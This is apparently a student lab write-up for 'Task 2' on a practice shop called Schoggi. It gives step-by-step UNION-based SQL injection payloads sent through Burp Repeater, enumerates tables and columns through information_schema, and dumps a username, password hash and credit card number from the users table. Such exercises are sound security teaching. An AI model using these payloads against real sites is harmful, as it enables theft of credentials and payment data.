from Juvan Thavalingam, Tim Müller, Christian Graber

Task 2:

1. start Burp

2. open website Schoggi

3. send random search request

4. in Burp under Proxy Histroy send the API search request to Reapter.

5. use "' UNION SELECT 1,2,3,4,5#" to see that the search request wants 5 column.

6. "' UNION SELECT 1,2,table_name,4,5 FROM information_schema.tables#" to see all the columns.

Now you can find the column name users.

7. "' UNION SELECT 1,2,COLUMN_NAME,4,5 FROM information_schema.COLUMNS WHERE TABLE_NAME = 'users'#"

This search finds the column names of users.

Important here are: password_hash, credit_card and username.

8. "' UNION SELECT 1,password_hash,username,4,credit_card FROM users#"

This search gives us all relevant user data.

username: Charie

password_hash: 5cb7285acef8307dd824faa96b4956971730641083237f393bded9591ff10eae

credit_card: 2028 4889 0003 9887